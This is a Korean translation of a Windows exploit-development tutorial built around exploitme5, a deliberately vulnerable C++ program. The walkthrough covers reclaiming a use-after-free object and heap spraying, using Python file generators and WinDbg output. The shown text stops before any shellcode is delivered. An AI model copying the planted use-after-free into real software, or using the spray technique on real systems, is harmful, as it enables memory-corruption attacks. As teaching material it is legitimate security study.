티스토리 뷰

본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다. 


http://expdev-kiuhnm.rhcloud.com



최신 윈도우즈 익스플로잇 개발 11. Exploitme5 (힙 스프레잉 & UAF)


hackability.kr (김태범)

hackability_at_naver.com or ktb88_at_korea.ac.kr

2016.07.22



진행 하기에 앞서, 이전 글을 읽지 않으셨다면 먼저 이전 글을 보시기 바랍니다.

 

이번 예제에서는 DEP를 비활성화 시켜야 합니다. VS 2013에서 Project -> properties Release 설정을 다음과 같이 변경해주세요.

  • Configuration Properties
    • Linker
      • Advanced
        • Data Execution Prevention (DEP): No (/NXCOMPAT:NO)

exploitme5 의 예제 코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
#include <conio.h>
#include <cstdio>
#include <cstdlib>
#include <vector>
 
using namespace std;
 
const bool printAddresses = true;
 
class Mutator {
protected:
    int param;
 
public:
    Mutator(int param) : param(param) {}
 
    virtual int getParam() const {
        return param;
    }
 
    virtual void mutate(void *data, int sizeconst = 0;
};
 
class Multiplier: public Mutator {
    int reserved[40];           // not used, for now!
 
public:
    Multiplier(int multiplier = 0) : Mutator(multiplier) {}
 
    virtual void mutate(void *data, int sizeconst {
        int *ptr = (int *)data;
        for (int i = 0; i < size / 4++i)
            ptr[i] *= getParam();
    }
};
 
class LowerCaser : public Mutator {
public:
    LowerCaser() : Mutator(0) {}
 
    virtual void mutate(void *data, int sizeconst {
        char *ptr = (char *)data;
        for (int i = 0; i < size++i)
            if (ptr[i] >= 'a' && ptr[i] <= 'z')
                ptr[i] -= 0x20;
    }
};
 
class Block {
    void *data;
    int size;
 
public:
    Block(void *data, int size) : data(data), size(size) {}
    void *getData() const { return data; }
    int getSize() const { return size; }
};
 
// Global variables
vector<Block> blocks;
Mutator *mutators[] = { new Multiplier(2), new LowerCaser() };
 
void configureMutator() {
    while (true) {
        printf(
            "1) Multiplier (multiplier = %d)\n"
            "2) LowerCaser\n"
            "3) Exit\n"
            "\n"
            "Your choice [1-3]: ", mutators[0]->getParam());
        int choice = _getch();
        printf("\n\n");
        if (choice == '3')
            break;
        if (choice >= '1' && choice <= '3') {
            if (choice == '1') {
                if (printAddresses)
                    printf("mutators[0] = 0x%08x\n", mutators[0]);
                delete mutators[0];
 
                printf("multiplier (int): ");
                int multiplier;
                int res = scanf_s("%d"&multiplier);
                fflush(stdin);
                if (res) {
                    mutators[0= new Multiplier(multiplier);
                    if (printAddresses)
                        printf("mutators[0] = 0x%08x\n", mutators[0]);
                    printf("Multiplier was configured\n\n");
                }
                break;
            }
            else {
                printf("LowerCaser is not configurable for now!\n\n");
            }
        }
        else
            printf("Wrong choice!\n");
    }
}
 
void listBlocks() {
    printf("------- Blocks -------\n");
    if (!printAddresses)
        for (size_t i = 0; i < blocks.size(); ++i)
            printf("block %d: size = %d\n", i, blocks[i].getSize());
    else
        for (size_t i = 0; i < blocks.size(); ++i)
            printf("block %d: address = 0x%08x; size = %d\n", i, blocks[i].getData(), blocks[i].getSize());
    printf("----------------------\n\n");
}
 
void readBlock() {
    char *data;
    char filePath[1024];
 
    while (true) {
        printf("File path ('exit' to exit): ");
        scanf_s("%s", filePath, sizeof(filePath));
        fflush(stdin);
        printf("\n");
        if (!strcmp(filePath, "exit"))
            return;
        FILE *= fopen(filePath, "rb");
        if (!f)
            printf("Can't open the file!\n\n");
        else {
            fseek(f, 0L, SEEK_END);
            long bytes = ftell(f);
            data = new char[bytes];
 
            fseek(f, 0L, SEEK_SET);
            int pos = 0;
            while (pos < bytes) {
                int len = bytes - pos > 200 ? 200 : bytes - pos;
                fread(data + pos, 1, len, f);
                pos += len;
            }
            fclose(f);
 
            blocks.push_back(Block(data, bytes));
 
            printf("Block read (%d bytes)\n\n", bytes);
            break;
        }
    }
}
 
void duplicateBlock() {
    listBlocks();
    while (true) {
        printf("Index of block to duplicate (-1 to exit): ");
        int index;
        scanf_s("%d"&index);
        fflush(stdin);
        if (index == -1)
            return;
        if (index < 0 || index >= (int)blocks.size()) {
            printf("Wrong index!\n");
        }
        else {
            while (true) {
                int copies;
                printf("Number of copies (-1 to exit): ");
                scanf_s("%d"&copies);
                fflush(stdin);
                if (copies == -1)
                    return;
                if (copies <= 0)
                    printf("Wrong number of copies!\n");
                else {
                    for (int i = 0; i < copies; ++i) {
                        int size = blocks[index].getSize();
                        void *data = new char[size];
                        memcpy(data, blocks[index].getData(), size);
                        blocks.push_back(Block(data, size));
                    }
                    return;
                }
            }
        }
    }
}
 
void myExit() {
    exit(0);
}
 
void mutateBlock() {
    listBlocks();
    while (true) {
        printf("Index of block to mutate (-1 to exit): ");
        int index;
        scanf_s("%d"&index);
        fflush(stdin);
        if (index == -1)
            break;
        if (index < 0 || index >= (int)blocks.size()) {
            printf("Wrong index!\n");
        }
        else {
            while (true) {
                printf(
                    "1) Multiplier\n"
                    "2) LowerCaser\n"
                    "3) Exit\n"
                    "Your choice [1-3]: ");
                int choice = _getch();
                printf("\n\n");
                if (choice == '3')
                    break;
                if (choice >= '1' && choice <= '3') {
                    choice -= '0';
                    mutators[choice - 1]->mutate(blocks[index].getData(), blocks[index].getSize());
                    printf("The block was mutated.\n\n");
                    break;
                }
                else
                    printf("Wrong choice!\n\n");
            }
            break;
        }
    }
}
 
int handleMenu() {
    while (true) {
        printf(
            "1) Read block from file\n"
            "2) List blocks\n"
            "3) Duplicate Block\n"
            "4) Configure mutator\n"
            "5) Mutate block\n"
            "6) Exit\n"
            "\n"
            "Your choice [1-6]: ");
        int choice = _getch();
        printf("\n\n");
        if (choice >= '1' && choice <= '6')
            return choice - '0';
        else
            printf("Wrong choice!\n\n");
    }
}
 
int main() {
    typedef void(*funcPtr)();
    funcPtr functions[] = { readBlock, listBlocks, duplicateBlock, configureMutator, mutateBlock, myExit };
 
    while (true) {
        int choice = handleMenu();
        functions[choice - 1]();
    }
 
    return 0;
}
cs


이번 프로그램은 기존보다 긴데 먼저 프로그램에 대해 설명을 드리도록 하겠습니다.


1. 파일에서 데이터 블록을 읽음

2. 블록을 복사하여 사본을 만듬

3. 특정 연산을 통해 블록을 변환


mutator를 이용하여 블록을 변환할 수 있습니다. 여기에는 2 mutator가 있습니다. 첫 번째는 Multiplier 인데 이는 곱셈을 이용하여 블록의 dwords 를 곱하는 것이고 두 번째는 LowerCaser 로 단순히 아스키 문자를 소문자로 변환하는 것 입니다.

 

Multiplier mutator는 유저가 설정 가능합니다.



UAF


이 프로그램에는 UAF (Use After Free)라는 버그가 존재합니다. UAF 버그의 예는 다음과 같습니다.


1
2
3
4
5
Object *obj = new Object;
...
delete obj;           // Free
...
obj->method();        // Use
cs


보시다시피, obj는 해제된 이후에 다시 사용되었습니다. C++에서는 Garbage Collector 가 없기 때문에 직접 객체를 해제해 주어야 하기 때문에 이러한 프로그래밍 에러에 의해 객체가 해제 된 뒤에 다시 접근하는 일이 발생될 수 있습니다. 할당 해제한 뒤에 obj danling pointer 라 불리게 되는데 그 이유는 할당 해제된 데이터를 가리키고 있기 때문입니다.

 

이 버그를 어떻게 익스플로잇 할 수 있을까요? 아이디어는 danling pointer가 가리키고 있는 메모리를 조작하여 흐름을 제어 하는 것 입니다. 이것을 어떻게 할 수 있는지를 이해하려면, 메모리 할당이 어떻게 이루어지는지 알아야 할 필요가 있습니다. 기존의 힙 강좌의 윈도우즈 힙에서 이에 대해 얘기를 한 적이 있습니다.

 

간단히 말하자면, 힙은 해제된 블록들의 리스트를 가지고 있는데 각각의 리스트는 특정 크기의 free block들을 가지고 있습니다. 예를들어 우리가 32 바이트 블록을 할당하고 싶다면 적절한 free block list에서 40 바이트를 제거하고 호출자에게 전달합니다. 40 바이트인 이유는 8바이트가 metadata로 사용되기 때문입니다. 블록이 응용에 의해 해제 되면 해당 블록은 다시 적절한 free block list에 들어가게 됩니다.

 

여기서 가장 중요한 점은 할당자가 free list에서 free block을 제거할 필요가 있을 때, 해당 리스트에 들어간 마지막 free block을 반환하는 경향이 있다는 것 입니다. 이 뜻은 만약 객체의 크기가 32 바이트이고 해제 되고 다시 32 바이트 할당 했을 때, 두 번째 객체는 첫 번째 객체가 사용했던 같은 메모리 위치에 사용된다는 것 입니다.

 

예를 들어 보도록 하겠습니다.


1
2
3
4
5
6
Object *obj = new Object;
...
delete obj;
Object *obj2 = new Object;
...
obj->method();
cs


이 예에서는 obj obj2는 결국 같은 객체를 가리키게 되는데 그 이유는 delete 에 의해 해제된 메모리 블록이 바로 new 연산에 의해 다시 되돌려 받았기 때문입니다.

 

만약 같은 크기의 같은 다른 객체를 할당하면 어떨까요? 예를 한번 보도록 하겠습니다.


1
2
3
4
5
6
7
Object *obj = new Object;         // sizeof(Object) = 32
...
delete obj;
int *data = new int[32/4];
data[0= ptr_to_evil_VFTable;
...
obj->virtual_method();
cs


exploitme4 를 할 때 보앗듯이, 오브젝트의 첫 번째 DWORD는 가상 함수 테이블의 객체인데 이는 테이블의 포인터 입니다. 위 예에서는 UAF 버그에 의해 우리가 임의로 만든 값을 VFTable 포인터로 덮어 쓸 수 있습니다. 이는 obj->virtual_method()가 결국에 우리의 코드를 실행함을 의미합니다.


힙 스프레잉 (Heap Spraying)


힙에 스프레잉 한다는 의미는 힙 영역에 우리의 데이터를 채운다는 의미입니다. 브라우저에서는 자바스크립트에서 문자열이나 객체들의 할당으로 이러한 행위를 할 수 있습니다. 힙 스프레잉 하는 것은 우리가 공격하려고 하는 프로세스의 주소 공간에 쉘코드를 넣는 것 입니다. 우리의 데이터로 힙을 성공적으로 채웠다고 하면 힙은 다음과 같을 것 입니다.


nop

nop

nop

.

.

.

nop

shellcode

nop

nop

nop

.

.

.

nop

shellcode

.

.

.

(and so on)


물론 힙에 할당되는 것은 완벽히 결정적이진 않긴하지만 만약 우리가 힙에 충분히 데이터를 쓸 수 있고 이 데이터의 nop sleds가 충분히 길고 끝에 우리의 쉘코드가 있다면 이는 높은 확률로 특정 힙 주소로 점프 했을 때 nop sled를 만나게 되고 우리의 쉘 코드가 실행 될 것 입니다.

 

힙이 어떻게 동작하는지에 대한 연구를 통해 우리는 더 정확한 힙 스프레잉을 할 수 있고 nop sleds가 필요 없을 수도 있습니다.



exploitme5 에서의 UAF


mutateBlock() UAF 버그가 있습니다. 코드를 다시 한번 보시죠.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void configureMutator() {
    while (true) {
        printf(
            "1) Multiplier (multiplier = %d)\n"
            "2) LowerCaser\n"
            "3) Exit\n"
            "\n"
            "Your choice [1-3]: ", mutators[0]->getParam());
        int choice = _getch();
        printf("\n\n");
        if (choice == '3')
            break;
        if (choice >= '1' && choice <= '3') {
            if (choice == '1') {
                if (printAddresses)
                    printf("mutators[0] = 0x%08x\n", mutators[0]);
                delete mutators[0];         <========================== FREE
 
                printf("multiplier (int): ");
                int multiplier;
                int res = scanf_s("%d"&multiplier);
                fflush(stdin);
                if (res) {
                    mutators[0= new Multiplier(multiplier);    <======= only if res is true
                    if (printAddresses)
                        printf("mutators[0] = 0x%08x\n", mutators[0]);
                    printf("Multiplier was configured\n\n");
                }
                break;
            }
            else {
                printf("LowerCaser is not configurable for now!\n\n");
            }
        }
        else
            printf("Wrong choice!\n");
    }
}
cs


위 코드에서 표시한 두 부분을 봐주시기 바랍니다. 이 함수는 Multiplier mutator에서 사용될 multiplier 를 변경할 수 있도록 해주는 함수인데 유효하지 않은 값을 넣게 되면 (예를들어, “asdf”) false가 반환이 되고 mutators[0]는 해제된 객체를 가리키고 있기 때문에 danling pointer 가 됩니다.

 

Multiplier 의 정의를 보면 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class Mutator {
protected:
    int param;
 
public:
    Mutator(int param) : param(param) {}
 
    virtual int getParam() const {
        return param;
    }
 
    virtual void mutate(void *data, int sizeconst = 0;
};
 
class Multiplier: public Mutator {
    int reserved[40];           // not used, for now!
 
public:
    Multiplier(int multiplier = 0) : Mutator(multiplier) {}
 
    virtual void mutate(void *data, int sizeconst {
        int *ptr = (int *)data;
        for (int i = 0; i < size / 4++i)
            ptr[i] *= getParam();
    }
};
cs


Multiplier의 크기는 다음과 같습니다.


bytes       reason

--------------------------------

  4         VFTable ptr

  4         "param" property

40*4        "reserved" property

--------------------------------

 168 bytes


따라서 우리가 168 바이트를 할당한다면 할당자는 mutators[0]에서 가리키고 있는 블록을 반환 할 것입니다. 어떻게 이런 블록을 생성할 수 있을까요? 여기서는 [파일에서 블록 읽기] 옵션을 이용할 수 있지만 fopen()이 새로운 블록이 할당되기 전에 실패하여 동작하지 않을 수 있습니다. 이는 fopen()이 내부적으로 할당자를 호출하기 때문에 문제가 될 수 있습니다. readBlock()의 코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void readBlock() {
    char *data;
    char filePath[1024];
 
    while (true) {
        printf("File path ('exit' to exit): ");
        scanf_s("%s", filePath, sizeof(filePath));
        fflush(stdin);
        printf("\n");
        if (!strcmp(filePath, "exit"))
            return;
        FILE *= fopen(filePath, "rb");               <======================
        if (!f)
            printf("Can't open the file!\n\n");
        else {
            fseek(f, 0L, SEEK_END);
            long bytes = ftell(f);
            data = new char[bytes];                    <======================
 
            fseek(f, 0L, SEEK_SET);
            int pos = 0;
            while (pos < bytes) {
                int len = bytes - pos > 200 ? 200 : bytes - pos;
                fread(data + pos, 1, len, f);
                pos += len;
            }
            fclose(f);
 
            blocks.push_back(Block(data, bytes));
 
            printf("Block read (%d bytes)\n\n", bytes);
            break;
        }
    }
}
cs


편의를 위해, 코드에서는 해제된 Multiplier (mutators[0])의 주소와 할당된 블록의 주소 (listBlocks()에 있는) 를 출력합니다.

 

UAF 버그를 익스플로잇 해보죠. 먼저, 다음 파이썬 스크립트를 이용하여 168 바이트 파일을 생성합니다.


1
2
with open(r'd:\obj.dat''wb') as f:
  f.write('a'*168)
cs


이제 exploitme5 를 실행합니다.


1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]: 4


1) Multiplier (multiplier = 2)

2) LowerCaser

3) Exit


Your choice [1-3]: 1


mutators[0] = 0x004fc488          <======== deallocated block

multiplier (int): asdf

1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]: 1


File path ('exit' to exit): d:\obj.dat


Block read (168 bytes)


1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]: 2


------- Blocks -------

block 0: address = 0x004fc488; size = 168    <======= allocated block

----------------------


1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]:


새로운 블록이 해제된 mutator의 동일한 주소에 할당 되었음을 볼 수 있습니다. 이 뜻은 mutators[0]에 의해 가리켜지고 있는 메모리의 내용을 조작할 수 있음을 뜻합니다.

 

이대로 잘 동작할 것 같지만 좀더 나은 방법으로는


1. 파일에서 블록을 읽음

2. mutator를 설정 (UAF 버그)

3. 블록을 복사


이 방법이 더 신뢰적인데 그 이유는 duplicateBlock() 은 다른 위험한(!) 함수들이 호출되기 전에 바로 새로운 블록을 할당하기 때문입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void duplicateBlock() {
    listBlocks();
    while (true) {
        printf("Index of block to duplicate (-1 to exit): ");
        int index;
        scanf_s("%d"&index);
        fflush(stdin);
        if (index == -1)
            return;
        if (index < 0 || index >= (int)blocks.size()) {
            printf("Wrong index!\n");
        }
        else {
            while (true) {
                int copies;
                printf("Number of copies (-1 to exit): ");
                scanf_s("%d"&copies);
                fflush(stdin);
                if (copies == -1)
                    return;
                if (copies <= 0)
                    printf("Wrong number of copies!\n");
                else {
                    for (int i = 0; i < copies; ++i) {
                        int size = blocks[index].getSize();
                        void *data = new char[size];       <========================
                        memcpy(data, blocks[index].getData(), size);
                        blocks.push_back(Block(data, size));
                    }
                    return;
                }
            }
        }
    }
}
cs


두 번째 방법으로 시도해보도록 하겠습니다.


1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]: 1


File path ('exit' to exit): d:\obj.dat


Block read (168 bytes)


1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]: 4


1) Multiplier (multiplier = 2)

2) LowerCaser

3) Exit


Your choice [1-3]: 1


mutators[0] = 0x0071c488            <=====================

multiplier (int): asdf

1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]: 3


------- Blocks -------

block 0: address = 0x0071c538; size = 168

----------------------


Index of block to duplicate (-1 to exit): 0

Number of copies (-1 to exit): 1

1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]: 2


------- Blocks -------

block 0: address = 0x0071c538; size = 168

block 1: address = 0x0071c488; size = 168   <=====================

----------------------


1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]:


잘 동작하는군요!



exploitme5에서의 힙 스프레잉


파일에서 큰 블록 읽고 많은 복사본을 만듬으로써 힙 스프레잉을 할 수 있습니다. 1 MB 블록을 할당해보도록 하죠. 먼저 다음 스크립트를 이용하여 파일을 생성합니다.


1
2
with open(r'd:\buf.dat''wb') as f:
    f.write('a'*0x100000)
cs


헥사 값으로 0x1000001MB를 의미합니다. WinDbg에서 exploitme5를 열고 실행합니다.


1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]: 1


File path ('exit' to exit): d:\buf.dat


Block read (1048576 bytes)        <================ 1 MB


1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]: 3


------- Blocks -------

block 0: address = 0x02070020; size = 1048576

----------------------


Index of block to duplicate (-1 to exit): 0

Number of copies (-1 to exit): 200       <==================== 200 MB

1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]: 2


------- Blocks -------

block 0: address = 0x02070020; size = 1048576

block 1: address = 0x02270020; size = 1048576

block 2: address = 0x02380020; size = 1048576

block 3: address = 0x02490020; size = 1048576

block 4: address = 0x025a0020; size = 1048576

block 5: address = 0x026b0020; size = 1048576


<생략>


block 197: address = 0x0f2b0020; size = 1048576

block 198: address = 0x0f3c0020; size = 1048576

block 199: address = 0x0f4d0020; size = 1048576

block 200: address = 0x0f5e0020; size = 1048576

----------------------


1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]:


WinDbg에서 Debug -> Break 하여 heap 을 살펴봅니다.


0:001> !heap

NtGlobalFlag enables following debugging aids for new heaps:    tail checking

    free checking

    validate parameters

Index   Address  Name      Debugging options enabled

  1:   00140000                 tail checking free checking validate parameters

  2:   00650000                 tail checking free checking validate parameters

  3:   01c80000                 tail checking free checking validate parameters

  4:   01e10000                 tail checking free checking validate parameters

0:001> !heap -m           <=========== -m displays the segments

Index   Address  Name      Debugging options enabled

  1:   00140000

    Segment at 00140000 to 00240000 (0002f000 bytes committed)

  2:   00650000

    Segment at 00650000 to 00660000 (00003000 bytes committed)

  3:   01c80000

    Segment at 01c80000 to 01c90000 (0000c000 bytes committed)

    Segment at 01e50000 to 01f50000 (0001c000 bytes committed)

  4:   01e10000

    Segment at 01e10000 to 01e50000 (00001000 bytes committed)


뭔가 이상하군요... 우리의 200MB 데이터는 어디에 있을까요? 문제는 우리가 힙 관리자에게 특정 임계치를 넘는 크기의 블록 할당을 요청할 때, 할당 요청은 바로 가상 메모리 관리자 (Virtual Memory Manager)로 전달되게 됩니다. 아래 내용을 한 번 보시죠.


0:001> !heap -s                   ("-s" stands for "summary")

NtGlobalFlag enables following debugging aids for new heaps:

    tail checking

    free checking

    validate parameters

LFH Key                   : 0x66cab5dc

Termination on corruption : ENABLED

  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast

                    (k)     (k)    (k)     (k) length      blocks cont. heap

-----------------------------------------------------------------------------

Virtual block: 02070000 - 02070000 (size 00000000)

Virtual block: 02270000 - 02270000 (size 00000000)

Virtual block: 02380000 - 02380000 (size 00000000)

Virtual block: 02490000 - 02490000 (size 00000000)

Virtual block: 025a0000 - 025a0000 (size 00000000)

Virtual block: 026b0000 - 026b0000 (size 00000000)


<생략>


Virtual block: 0f090000 - 0f090000 (size 00000000)

Virtual block: 0f1a0000 - 0f1a0000 (size 00000000)

Virtual block: 0f2b0000 - 0f2b0000 (size 00000000)

Virtual block: 0f3c0000 - 0f3c0000 (size 00000000)

Virtual block: 0f4d0000 - 0f4d0000 (size 00000000)

Virtual block: 0f5e0000 - 0f5e0000 (size 00000000)

00140000 40000062    1024    188   1024     93     9     1  201      0      

00650000 40001062      64     12     64      2     2     1    0      0      

01c80000 40001062    1088    160   1088     68     5     2    0      0      

01e10000 40001062     256      4    256      2     1     1    0      0      

-----------------------------------------------------------------------------


!heap에 의해 나열된 가상 블록들을 보면 exploitme5에 동일한 블록에 할당되어 있고 listBlocks() 으로 나열하여 검증할 수 있습니다. 좀 다른점이 있긴 합니다.


block 200: address = 0x0f5e0020; size = 1048576         <---- listBlocks()

Virtual block: 0f5e0000 - 0f5e0000 (size 00000000)      <---- !heap


0x20 바이트의 metadata (header)가 있으며 블록은 0f5e0000 에서 시작하지만 사용 가능한 위치는 0f5e0020 에서부터 시작합니다.

 

!heap은 우리에게 실제 크기를 보여주진 않지만 각 블록의 크기는 1MB (0x100000) 임을 알고 있습니다. 처음 두개의 블록을 제외하고 두 개의 인접한 블록의 거리를 보면 0x110000 가 되는데 두 개의 인접한 블록들 사이에 0x10000 바이트 (64 KB) 정도의 정크 데이터가 있습니다. 가능하면 정크(junk)의 크기를 줄이고 싶습니다. 블록들의 크기를 줄여 보도록 하겠습니다. 수정된 스크립트는 다음과 같습니다.


1
2
with open(r'd:\buf.dat''wb') as f:
    f.write('a'*(0x100000-0x20))
cs


buf.dat 을 생성한 후, WinDbg에서 exploitme5.exe를 다시 실행하고 블록을 할당하면 다음의 내용을 볼 수 있습니다.


0:001> !heap -s

NtGlobalFlag enables following debugging aids for new heaps:

    tail checking

    free checking

    validate parameters

LFH Key                   : 0x6c0192f2

Termination on corruption : ENABLED

  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast

                    (k)     (k)    (k)     (k) length      blocks cont. heap

-----------------------------------------------------------------------------

Virtual block: 020d0000 - 020d0000 (size 00000000)

Virtual block: 022e0000 - 022e0000 (size 00000000)

Virtual block: 023f0000 - 023f0000 (size 00000000)

Virtual block: 02500000 - 02500000 (size 00000000)

Virtual block: 02610000 - 02610000 (size 00000000)


<생략>


Virtual block: 0f210000 - 0f210000 (size 00000000)

Virtual block: 0f320000 - 0f320000 (size 00000000)

Virtual block: 0f430000 - 0f430000 (size 00000000)

Virtual block: 0f540000 - 0f540000 (size 00000000)

Virtual block: 0f650000 - 0f650000 (size 00000000)

00700000 40000062    1024    188   1024     93     9     1  201      0      

00190000 40001062      64     12     64      2     2     1    0      0      

020c0000 40001062    1088    160   1088     68     5     2    0      0      

022a0000 40001062     256      4    256      2     1     1    0      0      

-----------------------------------------------------------------------------


바뀐게 없습니다! 크기를 더 줄여 보도록 하겠습니다.


1
2
with open(r'd:\buf.dat''wb') as f:
    f.write('a'*(0x100000-0x30))
cs


WinDbg 에서 보면 다음과 같습니다.


0:001> !heap -s

NtGlobalFlag enables following debugging aids for new heaps:

    tail checking

    free checking

    validate parameters

LFH Key                   : 0x4863b9c2

Termination on corruption : ENABLED

  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast

                    (k)     (k)    (k)     (k) length      blocks cont. heap

-----------------------------------------------------------------------------

Virtual block: 00c60000 - 00c60000 (size 00000000)

Virtual block: 00e60000 - 00e60000 (size 00000000)

Virtual block: 00f60000 - 00f60000 (size 00000000)

Virtual block: 01060000 - 01060000 (size 00000000)


<생략>


Virtual block: 0e630000 - 0e630000 (size 00000000)

Virtual block: 0e730000 - 0e730000 (size 00000000)

Virtual block: 0e830000 - 0e830000 (size 00000000)

Virtual block: 0e930000 - 0e930000 (size 00000000)

Virtual block: 0ea30000 - 0ea30000 (size 00000000)

006b0000 40000062    1024    188   1024     93     9     1  201      0      

003b0000 40001062      64     12     64      2     2     1    0      0      

00ad0000 40001062    1088    160   1088     68     5     2    0      0      

002d0000 40001062     256      4    256      2     1     1    0      0      

-----------------------------------------------------------------------------


완벽합니다! 이제 정크 데이터의 크기가 0x30 바이트 밖에 안됩니다. 검증해보시면 아시겠지만 최소 크기는 0x30 입니다. 만약 0x2f 로 시도 하시면 동작하지 않을 겁니다.

 

exploitme5.exe를 다시 실행하여 위 작업을 다시 해보면 이번엔 WinDbg에서 다음과 같이 출력 합니다.


0:001> !heap -s

NtGlobalFlag enables following debugging aids for new heaps:

    tail checking

    free checking

    validate parameters

LFH Key                   : 0x38c66846

Termination on corruption : ENABLED

  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast

                    (k)     (k)    (k)     (k) length      blocks cont. heap

-----------------------------------------------------------------------------

Virtual block: 02070000 - 02070000 (size 00000000)

Virtual block: 02270000 - 02270000 (size 00000000)

Virtual block: 02370000 - 02370000 (size 00000000)

Virtual block: 02470000 - 02470000 (size 00000000)

Virtual block: 02570000 - 02570000 (size 00000000)


<생략>


Virtual block: 0e570000 - 0e570000 (size 00000000)

Virtual block: 0e670000 - 0e670000 (size 00000000)

Virtual block: 0e770000 - 0e770000 (size 00000000)

Virtual block: 0e870000 - 0e870000 (size 00000000)

Virtual block: 0e970000 - 0e970000 (size 00000000)

002d0000 40000062    1024    188   1024     93     9     1  201      0      

00190000 40001062      64     12     64      2     2     1    0      0      

01d50000 40001062    1088    160   1088     68     5     2    0      0      

01d00000 40001062     256      4    256      2     1     1    0      0      

-----------------------------------------------------------------------------


이번에는 주소들이 다릅니다. 마지막 4개를 비교해보도록 하겠습니다.


Virtual block: 0e730000 - 0e730000 (size 00000000)

Virtual block: 0e830000 - 0e830000 (size 00000000)

Virtual block: 0e930000 - 0e930000 (size 00000000)

Virtual block: 0ea30000 - 0ea30000 (size 00000000)

--------------

Virtual block: 0e670000 - 0e670000 (size 00000000)

Virtual block: 0e770000 - 0e770000 (size 00000000)

Virtual block: 0e870000 - 0e870000 (size 00000000)

Virtual block: 0e970000 - 0e970000 (size 00000000)


우리가 여기서 알 수 있는건 주소는 항상 0x10000 으로 정렬된다는 것입니다. 기억해야 할 것은해더의 크기가 있기 때문에 위 주소들에 0x20 씩 더해주어야 합니다.


block 197: address = 0x0e670020; size = 1048528

block 198: address = 0x0e770020; size = 1048528

block 199: address = 0x0e870020; size = 1048528

block 200: address = 0x0e970020; size = 1048528


만약 0x10000 크기의 페이로드를 넣고 1 MB 블록 (-0x30 바이트)을 계속 반복한다면 0x0a000020 과 같은 주소에서 우리가 넣은 페이로드를 찾을 수 있습니다. 0x0a000020 을 선택한 이유는 이 곳이 우리의 힙 스프레이의 중간이기 때문입니다. 따라서 주소가 좀 변경되어도 이 위치는 분명 우리의 페이로드를 가지고 있을 것입니다.

 

한 번 해보도록 하겠습니다.


1
2
3
4
5
with open(r'd:\buf.dat''wb') as f:
    payload = 'a'*0x8000 + 'b'*0x8000      # 0x8000 + 0x8000 = 0x10000
    block_size = 0x100000-0x30
    block = payload*(block_size/len(payload)) + payload[:block_size % len(payload)]
    f.write(block)
cs


우리의 블록의 크기는 1MB 보다 0x30 작기 때문에 페이로드의 마지막 복사 할 때 짜를 필요가 있습니다. 물론 이는 문제가 되진 않습니다.

 

WinDbg 에서 exploitme5.exe 를 다시 실행하여 파일에서 블록을 읽고 200 개의 복사본을 만든뒤 실행을 멈추고 0x0a000020을 살펴봅니다.


09ffffd0  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb

09ffffe0  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb

09fffff0  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb

0a000000  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb

